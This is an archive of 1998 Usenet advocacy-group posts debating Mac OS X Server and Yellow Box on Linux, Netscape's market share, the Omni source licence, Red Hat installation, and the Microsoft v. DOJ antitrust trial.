References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com> <74m2n1$ndr$2@nnrp03.primenet.com> <74niqa$but@news1.panix.com> <74p2ch$38gg@yuma.ACNS.ColoState.EDU> <74qflc$8po@news1.panix.com>
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Sal Denaro wrote:
>
> On 10 Dec 1998 18:02:57 GMT,
> Larry Pyeatt <pyeatt@satchmo.cs.colostate.edu> wrote:
> >> IE continued to gain marketshare as Netscape lost marketshare.
> >Except on Linux, the only OS besides NT that is gaining marketshare.
> >No one can compete against MS on Windows, but by enlisting the
> >Open Source developers, Netscape has assured itself a growing market
> >for its servers for the forseeable future.
>
> NS was the #1 browser on Linux _before_ it was OpenSourced. Making it
> OpenSource didn't bring new users to it; the fact that of the two major
> browsers, it is the only on that runs on Linux did that.
Read again. He said "developers", not "users".
MJP
Message-ID: <3670D945.C707249@nstar.net>
Date: Fri, 11 Dec 1998 02:35:17 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74fbeb$ouk@news1.panix.com> <366C5B06.41F8EA24@ericsson.com> <74i2du$k1m@news1.panix.com> <FIiROLCWddLd-pn2-si8JhRpGm0ON@localhost> <74l0tt$i44@news1.panix.com> <FIiROLCWddLd-pn2-i9woQjITKjdN@localhost> <74niq6$but@news1.panix.com> <FIiROLCWddLd-pn2-3BcsyxQ4PxDT@localhost> <74qc66$7pg@news1.panix.com>
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Sal Denaro wrote:
[cut]
> > The question Apple faces is
> >whether potential sales on those platforms justify the costs of
> >porting and support by Apple.
>
> Right now? No. And the costs would be less than or equal to the costs
> of porting to Linux first.
How could you possibly know this?
[cut]
MJP
Message-ID: <3671484B.5166335E@nstar.net>
Date: Fri, 11 Dec 1998 10:28:59 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <adt <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net>
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Joe Ragosta wrote:
> > MacOS X could be a good Unix, but it probably won't. The FAQ stresses
> > that it is not, in Apple's opinion, a traditional Unix system. That's
> > not conclusive, but it certainly raises some disappointing
> > possibilities.
>
> Of course, "not a traditional Unix" doesn't imply that it won't be a good Unix.
>
> AFAIK, Mac OS X will have full BSD Unix support.
>
> My guess is that it will be optimized for ease of use. If you want balls
> to the walls maximum performance, you're probably better off with a system
> like Linux or a commercial Unix. But if you want a combination of good
> performance, ease of use, and features, it should be a good alternative.
Note: I didn't say it wouldn't have good performance, and I didn't say
it wouldn't be a good operating system. What I did say is that it won't
be a good Unix. That much is fairly apparent from Apple's FAQ on the
matter.
MJP
Newsgroups: comp.sys.net-computer.misc,comp.sys.newton.marketplace,comp.sys.newton.misc,comp.sys.newton.programmer,comp.sys.next.advocacy,comp.sys.next.bugs,comp.sys.next.hardware,comp.sys.next.marketplace,comp.sys.next.misc,comp.sys.next.programmer
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From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 11 Dec 1998 18:07:02 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <74rn06$sco@newsb.netnews.att.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <74fbeb$ouk@news1.panix.com> <366C5B06.41F8EA24@erics <3670D945.C707249@nstar.net>
Originator: gupta@tlctest
Michael J. Peck <mjpeck@nstar.net> wrote:
>
>> > The question Apple faces is
>> >whether potential sales on those platforms justify the costs of
>> >porting and support by Apple.
>>
>> Right now? No. And the costs would be less than or equal to the costs
>> of porting to Linux first.
>
>How could you possibly know this?
Knowing for sure is impossible. The platforms in question are
Sun and HP, and it was stated in this thread that FoundationKit,
WOF and EOF already run on these platforms (as part of WebObjects).
The conjecture in the same message was that elevating this to the
full YellowBox would be less expensive than porting the YellowBox
to Linux.
-arun gupta
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <adtF3rtpr.Gxq@netcom.com>
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Date: 11 Dec 98 19:22:44 GMT
On Thu, 10 Dec 1998 22:41:51, adt@netcom.com (Anthony D. Tribelli)
thought aloud:
> taiQ (pit@iohk.SPAM-NOT.com) wrote:
> : sal@panix.com (Sal Denaro) thought aloud:
>
> : > Is the ability to point to your box and say it is running Linux more
> : > important than the ability to point to your box and say that it running
> : > an open standards based Unix OS?
> :
> : I don't personally use such pointing abilities. But at the moment it
> : certainly looks like Linux has considerably more momentum and
> : mindshare than some/any other "open standards based Unix OS" ...
>
> It's true that the business folks are now becoming aware of Linux, but
> this pales in comparison to the fact that the business folks have been
> using NeXTSTEP for years. Rhapsody/MacOS X being clearly derived from
> NeXTSTEP is more advantageous in the business world.
The NeXT heritage does still give warm fuzzies to some old-timer IT
managers, even in some large enterprises, but I respectfully doubt
that Linux awareness (/ interest / momentum) would "pale" in
comparison to NeXTSTEP's respective qualities.
In any case, Sal was referring to differencies (or similarities,
rather) between Linux and *BSD, or some other "open standards based"
Unix OS. NeXTSTEP was mostly closed source based AFAIK.
> Regarding more casual users, I think that Linux advocates tend to
> seriously overestimate the degree that users care where capabilites come
> from. If Apple delivers the power of UNIX with a MacOS GUI, the ability to
> run UNIX apps/tools alongside shrinkwrapped retail apps, then I think such
> users will be happy.
"Such users" referring to the group that doesn't care where
capabilities come from? Linux advocates' estimates tend to vary
widely, but the fact remains that there are users who prefer staying
with Linux and those who would consider alternatives given the apps
and support they need are there.
In my opinion Apple would be wise to cast the YB net wider than
Apple's own Unix.
> : ... Linux is
> : fast becoming some sort of "cross-*nix" compatibility target even to
> : "competing Unix vendors", meaning that practically all new *nix apps
> : will come in a Linux version as well ...
>
> Please note your 'as well'. If the apps also run on Rhapsody/MacOS X that
> is all that matters.
But it is quite doubtable that Mac OS X would gain such central role
wrt. *nix apps, especially what comes to the bigger apps. Would Corel
be interested in porting or keeping MOSX/BSD PerfectOffice in parity
with the Linux version, esp. if Microsoft's Carbon port appears more
tightly coupled with the MOSX UI?
Now, it would certainly help Mac OS X's side of equation if Linux
became a popular YB development and deployment platform. Mac OS X
would be automatically in the game, and it would be the optimal
platform for those YB apps.
Btw, could it be that some old OpenStep-hands are very much against
any potential Linux port of YB because they're afraid their high-end
custom development deals would suffer were increased competition to
materialize? YB for Linux would, I believe, get more
development-capable eyeballs working with the YB tools than Mac OS X
(with developers mainly from Classic Mac OS background) or YB for
Windows release ever would.
> Also note that Apple may very well become the
> dominant UNIX vendor as they already have become the dominant RISC vendor.
> In any case when MacOS X is the shipping OS on all Macs then UNIX app
> vendors are sure to go after this huge potential market of end users. Note
> my use of 'end users'. The general interest in Linux you've referred to
> may be more for servers than end user workstations.
The road from being the dominant RISC vendor to becoming the dominant
Unix vendor is long and hard when Linux is open source (indepence from
control by any "competitor" is a significant advantage), basically FOC
to deploy on any number of "seats" and on everyone's radar. Just do a
web (news) search for Linux and Apple; searching "Mac OS X" will not
yield much.
Even if Apple released Mac OS X on every platform (which they do not
intend to do but it would be technically doable, but what _then_ sells
PowerMacs...) Apple's Unix would still face a steep uphill battle.
This is in my opinion exactly why proliferation of Yellow Box would be
of so great importance. Apple could easily be _the_ YB platform.
> : ... Better app support, wider
> : hardware support, quickly improving OS, gimme Linux. You want one of
> : the *BSD's? That's perfectly okay with me.
>
> 'wider hardware support', that is Apple's fear. :-)
After all these years everything may still appear to them as a threat
instead of as on opportunity. I see Yellow Box on Linux (and other
similar platforms priorities permitting) as a way to break out of the
hardware and software niche they've dug themselves into.
To make this more personal: If my '97 vintage "Mac OS X unsupported"
PowerMac runs Mac OS X okay I will buy it. I would also buy various YB
stuff and enhancements for my x86 Linux box (given availability) and
would be helping both friends and foes migrate from Windows to Linux
with YB. When they are going to buy new boxes the PowerPC systems
would finally be on their radars.
If my PowerMac doesn't run Mac OS X I'd still prefer to run Linux w/
YB on it and the rest I described would still be happening (i.e.
provided YB for Linux worked as advertised)
If YB isn't available for Linux my PowerMac would still eventually use
some form of PPC Linux with KDE and/or GNOME but it would most likely
be my last Apple machine and I would be recommending people other
options as Linux matures
Should that happen, I would also voluntarily leave the dusts of
non-appropriate advocacy newsgroups behind, don't worry. :^)
Brgds,
--
taiQ
[this space is intentionally blank]
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-3djbN237fBdI@localhost>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com>
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Date: 11 Dec 98 19:23:02 GMT
On Fri, 11 Dec 1998 04:27:48, sal@panix.com (Sal Denaro) thought
aloud:
> On 10 Dec 98 20:41:20 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
> >On Thu, 10 Dec 1998 04:33:29, sal@panix.com (Sal Denaro) thought
> >aloud:
> >> On 9 Dec 98 18:05:19 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
> >> And what is the difference between an Apple version of Linux running
> >> YB and an Apple version of BSD (based on the OpenSourced BSD4.4 code
> >> that is also using in FreeBSD/NetBSD and OpenBSD (as well as BSDI,
> >> AIX and a few other Unix OS products)) running YB?
> >Eh, I'll try... the former allows users to run YB apps under Linux
> >environment while the latter does the same but under Apple's version
> >of BSD (background check above) environment instead.
> >
> >Now tell me, what kind of differences between Linux and the BSD-based
> >environments are you looking for, and what's the relevance of it?
>
> The fact that there are so few differences is the point.
For some reason I don't understand what it is you're pointing out
here. Porting YB frameworks between Linux and versions of BSD would be
rather easy, right? Porting *nix apps between Linux and versions of
BSD would also be rather easy, right? Linux has more momentum and apps
than the versions of BSD do, right?
Now, this all sprung from my suggestion that Apple oughta offer "YB
for Linux commercial packages with Apple Seal Of Approval And
Compatibility" which got you to point out that Linux and versions of
BSD are quite similar. How does the similarity affect my suggestion to
offer commercial Apple-branded YB packages for Linux?
> >> Is the ability to point to your box and say it is running Linux more
> >> important than the ability to point to your box and say that it running
> >> an open standards based Unix OS?
> >I don't personally use such pointing abilities. But at the moment it
> >certainly looks like Linux has considerably more momentum and
> >mindshare than some/any other "open standards based Unix OS".
>
> Apple is going to have to build momentum and mindshare for YB no
> matter what unix is is running one. Do you think Linux user will just
> forget about GNOME and KDE if YB is ported?
Is it like Apple ought to be the only game in town before entering it?
Isn't that niche thinking at its worst? GNOME and KDE are going to
live side by side for some time to come, even working together e.g.
via CORBA. I thought YB is CORBA-compatible. Following this line of
thinking YB for Windows should be scrapped immediately too. Do Mac OS
X users need to forget about Carbon if YB is to enter the scene?
If YB can't offer any tangible benefits to outweigh the benefits of
GNOME or KDE... then I don't really see the point of YB in the first
place, except as a prorietary GNOME or KDE clone for the Macintosh.
However YB is supposed to have unique selling points (USP's).
> >Better app support, wider
> >hardware support, quickly improving OS, gimme Linux. You want one of
> >the *BSD's? That's perfectly okay with me.
>
> No, I want YB.
Duh. Weren't we discussing the platforms to run YB on? No?
> What it is running on is besides the point, as long as
> it is a decent open standards based Unix.
<sigh> in previous message you asked:
<>
<> Is the ability to point to your box and say it is running Linux
more
<> important than the ability to point to your box and say that it
running
<> an open standards based Unix OS?
And I gave you reasons why I'd pick Linux over *BSD. Now you're saying
Linux's "better apps support, wider hardware support, quickly
improving OS" mean squat. Apparently these aren't valid reasons and
any "decent open standards based Unix" will, if I read you correctly,
provide equally fine YB+*nix platform, making YB for Linux
unnecessary? Is that what you're trying to say?
Rgds,
--
taiQ
[this space is intentionally blank]
From: Toon Moene <toon@moene.indiv.nluug.nl>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Linux preinstalled laptops?
Date: 11 Dec 1998 20:17:54 GMT
Organization: Moene Computational Physics, Maartensdijk, The Netherlands
Message-ID: <74ruli$93o$1@koza.nl.net>
References: <3669CB9E.MD-0.198.tb7@inquo.net> <NGRW6EAMLUc2EwhM@wholehog.demon.co.uk>
NNTP-Posting-Date: 11 Dec 1998 20:17:54 GMT
Stuart Brady <stuart@nospam_see-www-address_.demon.co.uk> wrote:
> >Joe: I installed RedHat 5 on a PC a while back and it really wasn't
> >much more difficult to install than Windows.
> That's wrong. This is why:
Well, "wrong", that's perhaps a bit strong ...
> If you've got Windows 95 and you install Linux, it's easy, cos LILO lets
> you do dual boot. You have a slight chance of screwing up partitions.
So you say. The best thing is to get rid of the dual boot. Fortunately,
RedHat 5.2 has just the right installation option for that: Server install.
Erases *every* partition on your hard disk and initialises a reasonable
paritioning scheme without you (the user^H^H^H^H^Hsystem administrator)
having to compute difficult sector/cylinder/track offset/sizes.
--
Toon Moene (mailto:toon@moene.indiv.nluug.nl)
Saturnushof 14, 3738 XG Maartensdijk, The Netherlands
Phone: +31 346 214290; Fax: +31 346 214286
g77 Support: mailto:fortran@gnu.org; egcs: mailto:egcs-bugs@cygnus.com
From: John Jensen <jjens@primenet.com>
Newsgroups: gnu.gnustep.discuss,comp.sys.next.advocacy
Subject: Re: Proposal (fwd) (OmniFrameworks source)
Date: 11 Dec 1998 20:23:01 GMT
Organization: Primenet (602)416-7000
Message-ID: <74ruv5$q82$1@nnrp02.primenet.com>
References: <Pine.LNX.3.96.981210215703.19490A-100000@freelove.mindspring.net> <74q3c0$eq8@sjx-ixn8.ix.netcom.com>
Felipe A. Rodriguez <far_no@spam.ix.netcom.com> wrote:
: First I have to say that I have the deepest respect and gratitude
: to the folks at Omni without whom NeXTStep would be a much more
: difficult option (if even a viable one). I laud them for their
: fine gesture, but this license conflicts with the concept of
: "Open Source" in a fundamental way. I'm not sure we're going to
: find volunteers to port this if the result cannot be distributed.
: In this case the resultant code does not then belong to the
: community but is instead the property of Omni.
: _
: Omni Source Code software is available from Omni Development on their
: web site at www.omnigroup.com.
: 1. Omni Development gives you permission to make verbatim copies of
: Omni Source Code software (the "Software") without restriction, so long
: as your copies include a copy of this open permission, and all of the
: original copyright notices and associated disclaimers.
: 2. You may not distribute modified source code, but you may distribute
: ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
: patches and modified binary code, provided that you:
The ability to redistribute source and to distribute patches adds up to a
pretty open system. If you wanted to, you could bundle an unmodified set
of source with your patches. The only pain is that the user would have to
apply the patches. This impeads forking ... but forking is usually evil
anyway.
Someone said:
: >All i can say? Kick Ass.. i think this is exactly the type of
: >support we, the GNUstep community, needs from the NextStep/OpenStep
: >commercial entities. Now lets step up and see what we can do with it..
That's the attidude!
John
: --
: Felipe A. Rodriguez # Francesco Sforza became Duke of Milan from
: Agoura Hills, CA # being a private citizen because he was
: # armed; his successors, since they avoided
: far@ix.netcom.com # the inconveniences of arms, became private
: (NeXTmail preferred) # citizens after having been dukes.
: (MIMEmail welcome) # --Nicolo Machiavelli
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Microsoft vs. DOJ: who do *you* think is winning?
Date: Fri, 11 Dec 1998 20:31:50 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <36717987.21076075@news2.asan.com>
I think it's looking real good for Microsoft. Here's why:
The DOJ hasn't presented any evidence of actual anti-trust type
behavior; that is, evidence that Microsoft has bullied people or
companies into doing what they want. The only evidence they have is
the integration (or tying, as the DOJ calls it) of IE into Windows.
However, regardless of MS's intent, the Appellate Court of DC ruled
that this particular tying is legal.
The DOJ is presenting an amazing amount of irrelevant evidence. For
instance:
The definition of an OS - Completely irrelevant. There's nothing
within the laws regarding product tying that takes the definition of a
product into account. A monopoly can legally tie two products
together without the two products being viewed as one product.
Apple/Quicktime issue - Completely irrelevant. Even if Microsoft had
done what was claimed, Microsoft would be guilty of leveraging their
Office monopoly. However, Office was dropped from the suit. At no
time did Microsoft ever leverage their OS monopoly against Apple.
AOL agreement - This was a huge mistake for the DOJ. They actually
state (in their charges) that Microsoft forced AOL into an agreement.
Then the AOL prez gets on the stand and states that they used IE for
technical reasons. Further, AOL just bought Netscape and it's clear
that the agreement between AOL and Microsoft will not be renewed.
Sure, Microsoft has it all over AOL. Yeah right.
Java? Well, regardless of merits of Microsoft's Java arguments, it
looks like Microsoft has the Judge in their corner on this one.
The DOJ has also made confusing statements. For instance, they claim
that the price of the operating system has remained the same, proving
that MS has a monopoly. But then they claim that IE isn't free, but
paid for in the price of the OS. Well excuse me, but if I pay for IE
in the price of Windows, then the price of Windows must be less than
previous OSes. If the price of the Windows is the same as previous
OSes, then IE must be free. Sorry DOJ, you can't have it both ways.
Pick one.
Am I wrong? Where's the evidence? Where's the e-mail from a
Microsoft VP saying "make AOL use IE" or "force those ISPs to sign an
exclusive agreement." ? They're just not there.
I predict that Microsoft will lose the trial because of emotion, but
will win on appeal, where they actually consider the evidence (or lack
thereof.).
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Message-ID: <rbarris-1112981245140001@192.168.1.16>
References: <36717987.21076075@news2.asan.com>
Organization: Quicksilver Software, Inc.
Date: Fri, 11 Dec 1998 20:43:48 GMT
NNTP-Posting-Date: Fri, 11 Dec 1998 12:43:48 PDT
In article <36717987.21076075@news2.asan.com>, willy1@rocketmail.com
(Willy) wrote:
> I think it's looking real good for Microsoft. Here's why:
>
> The DOJ hasn't presented any evidence of actual anti-trust type
> behavior; that is, evidence that Microsoft has bullied people or
> companies into doing what they want.
I was laughing too hard to read the rest. Sorry!
Rob
From: anarkhos@anarchism.orgy (strobe)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Fri, 11 Dec 1998 13:30:48 -0800
Organization: University of Oregon, Eugene
Message-ID: <anarkhos-ya02408000R1112981330480001@news>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <74nkgv$f1p$19@blue.hex.net> <anarkhos-ya02408000R1012981625180001@news> <74q705$687@news1.panix.com>
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> Apple is _not_ a software company. Apple is _not_ a hardware company.
>
> Apple is a systems company, they make their money selling an integrated
> hardware/software package.
I don't care how you define it. The point is they don't make money
unless they sell hardware. They wouldn't make any money selling
applications, which is what the original argument was.
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Content-Type: text/plain; charset=us-ascii
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Cc: willy1@rocketmail.com
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References: <36717987.21076075@news2.asan.com>
Mime-Version: 1.0
Date: Fri, 11 Dec 1998 20:57:11 GMT
In <36717987.21076075@news2.asan.com> Willy wrote:
> The DOJ hasn't presented any evidence of actual anti-trust type
> behavior; that is, evidence that Microsoft has bullied people or
> companies into doing what they want.
Sure they have, what news have you been watching? They've also
_attempted_ to show that they are a monopoly, which is when the former
behaviour becomes a problem. The Gov's case stands on _both_ of these
points, however I think they have only really demonstrated the first of the
two to any degree. However the first is what you are claiming they haven't
done, but they've had witness after witness that has shown a clear pattern
of attempting to form a market division, followed by retaliatory actions
when such (illegal) suggestions failed to be agreed to by the other party.
> the integration (or tying, as the DOJ calls it) of IE into Windows.
They have not introduced this into evidence as far as I know. This isn't
evidence, this is the _action_. When someone is accused of stealing you
don't introduce "the stealing" into evidence, you introduce evidence that
supports the claim that the robbery took place (or didn't). Microsoft is
accused of using it's monopoly powers in the desktop operating system to
lock a competitor out of their market space by bundling IE with the OS.
Bundling is the "crime" here, not the evidence.
> However, regardless of MS's intent, the Appellate Court of DC ruled
> that this particular tying is legal.
IIRC they did nothing of the sort, and instead said there was not enough
evidence to suggest that such bundling is illegal. There is a _very_ large
difference between the two statements.
> The definition of an OS - Completely irrelevant. There's nothing
> within the laws regarding product tying that takes the definition of a
> product into account. A monopoly can legally tie two products
> together without the two products being viewed as one product.
Not if the bundling in question is a deliberate attempt to lock out
another competing product. Then it is illegal.
> Apple/Quicktime issue - Completely irrelevant. Even if Microsoft had
> done what was claimed, Microsoft would be guilty of leveraging their
> Office monopoly
No, that's completely incorrect. MS is accused in this case of
attempting to divide the market. This is not illegal if it does not
happen, and the DoJ is not attempting to try them for this attempt. They
are using it to show a repeated pattern of attempts to divide markets, and
as such the evidence is very relivant.
> AOL agreement - This was a huge mistake for the DOJ. They actually
> state (in their charges) that Microsoft forced AOL into an agreement.
> Then the AOL prez gets on the stand and states that they used IE for
> technical reasons. Further, AOL just bought Netscape and it's clear
> that the agreement between AOL and Microsoft will not be renewed.
> Sure, Microsoft has it all over AOL. Yeah right.
Once again it is clear you do not understand the legal argument. The
basis for the inclusion of AOL in the suit was to attempt to demonstrate
that MS was engauged in preditory practices.
> The DOJ has also made confusing statements. For instance, they claim
> that the price of the operating system has remained the same, proving
> that MS has a monopoly. But then they claim that IE isn't free, but
> paid for in the price of the OS. Well excuse me, but if I pay for IE
> in the price of Windows, then the price of Windows must be less than
> previous OSes. If the price of the Windows is the same as previous
> OSes, then IE must be free. Sorry DOJ, you can't have it both ways.
> Pick one.
Whereas Gates' testimony is perfectly cool in your books? Welcome to the
world of law.
> Am I wrong? Where's the evidence? Where's the e-mail from a
> Microsoft VP saying "make AOL use IE" or "force those ISPs to sign an
> exclusive agreement." ? They're just not there.
Yes they are. They have e-mail talking about how much it will cost to
buy off AOL. Why are you ignoring this?
> I predict that Microsoft will lose the trial because of emotion, but
> will win on appeal, where they actually consider the evidence (or lack
> thereof.).
What do you have to suggest that this trial is not being judged on the
meritcs of the evidence?
Maury
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Fri, 11 Dec 1998 22:19:39 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <36718b58.25637024@news2.asan.com>
References: <36717987.21076075@news2.asan.com> <F3tJJB.9x@T-FCN.Net>
On Fri, 11 Dec 1998 20:57:11 GMT, in comp.os.ms-windows.advocacy
maury@remove_this.istar.ca (Maury Markowitz) wrote:
>In <36717987.21076075@news2.asan.com> Willy wrote:
>> The DOJ hasn't presented any evidence...
> Sure they have, what news have you been watching?
Actually, I've been following through ZD Network News. The have a
section for the case where they have links to all the court documents.
> They've also
>_attempted_ to show that they are a monopoly,
Yeah. I think that part of it is silly. Regardless of how vulerable
Microsoft may or may not be, there's simply is no question that, at
this moment, they have a monopoly share of the OS market.
>> the integration (or tying, as the DOJ calls it) of IE into Windows.
>
> They have not introduced this into evidence as far as I know.
It's part of the charges.
>> However, regardless of MS's intent, the Appellate Court of DC ruled
>> that this particular tying is legal.
>
> IIRC they did nothing of the sort, and instead said there was not enough
>evidence to suggest that such bundling is illegal. There is a _very_ large
>difference between the two statements.
Are you joking? Maybe you should read the ruling:
http://www.cadc.uscourts.gov/common/opinions/199806/97-5343a.txt
"On the facts before us, however,
we are inclined to conclude that the Windows 95/IE package
is a genuine integration; consequently, s IV(E)(i) does not
bar Microsoft from offering it as one product."
>> The definition of an OS - Completely irrelevant. There's nothing
>> within the laws regarding product tying that takes the definition of a
>> product into account. A monopoly can legally tie two products
>> together without the two products being viewed as one product.
>
> Not if the bundling in question is a deliberate attempt to lock out
>another competing product. Then it is illegal.
When I said "a monopoly can legally tie two products together" I was
referring to a tying situation that would be legal under anti-trust
scrutiny. In any case, the definition of the product remains
irrelevant.
>> Apple/Quicktime issue - Completely irrelevant. Even if Microsoft had
>> done what was claimed, Microsoft would be guilty of leveraging their
>> Office monopoly
>
> No, that's completely incorrect. MS is accused in this case of
>attempting to divide the market.
Are we following the same trial? Apple accused Microsoft of trying to
kill QuickTime.
http://www.zdnet.com/zdnn/stories/news/0,4586,2158244,00.html
>> AOL agreement - This was a huge mistake for the DOJ. They actually
>> state (in their charges) that Microsoft forced AOL into an agreement.
>> Then the AOL prez gets on the stand and states that they used IE for
>> technical reasons. Further, AOL just bought Netscape and it's clear
>> that the agreement between AOL and Microsoft will not be renewed.
>> Sure, Microsoft has it all over AOL. Yeah right.
>
> Once again it is clear you do not understand the legal argument. The
>basis for the inclusion of AOL in the suit was to attempt to demonstrate
>that MS was engauged in preditory practices.
Actually, the charges that involve AOL fall under "exclusionary
behavior." It's clear that you don't understand that when the AOL
prez gets on the stand and says that they selected IE for technical
reasons, that all the DOJ legal arguments are refuted (as far as AOL
is concerned.)
>> The DOJ has also made confusing statements. For instance, they claim
>> that the price of the operating system has remained the same, proving
>> that MS has a monopoly. But then they claim that IE isn't free, but
>> paid for in the price of the OS. Well excuse me, but if I pay for IE
>> in the price of Windows, then the price of Windows must be less than
>> previous OSes. If the price of the Windows is the same as previous
>> OSes, then IE must be free. Sorry DOJ, you can't have it both ways.
>> Pick one.
>
> Whereas Gates' testimony is perfectly cool in your books? Welcome to the
>world of law.
It's clear he's being a hostile witness. So? What about my
statement? Is IE free or does Windows cost less?
>> Am I wrong? Where's the evidence? Where's the e-mail from a
>> Microsoft VP saying "make AOL use IE" or "force those ISPs to sign an
>> exclusive agreement." ? They're just not there.
>
> Yes they are. They have e-mail talking about how much it will cost to
>buy off AOL. Why are you ignoring this?
I'm not. 10 million, if I remember correctly. This simply goes to
show how little influence Microsoft had over AOL. In any case, this
isn't illegal. "Buying off" is not "bullying." They've only broken
the law when they bully companies. There's nothing wrong with giving
AOL a sweet deal, which they did even though it was clear that if AOL
wanted to integrate a browser into their software it would have to be
IE because Navigator wouldn't work.
>> I predict that Microsoft will lose the trial because of emotion, but
>> will win on appeal, where they actually consider the evidence (or lack
>> thereof.).
>
> What do you have to suggest that this trial is not being judged on the
>meritcs of the evidence?
If it was, it would have been dismissed already.
From: mmalcolm crawford <malcolm@plsys.co.uk>
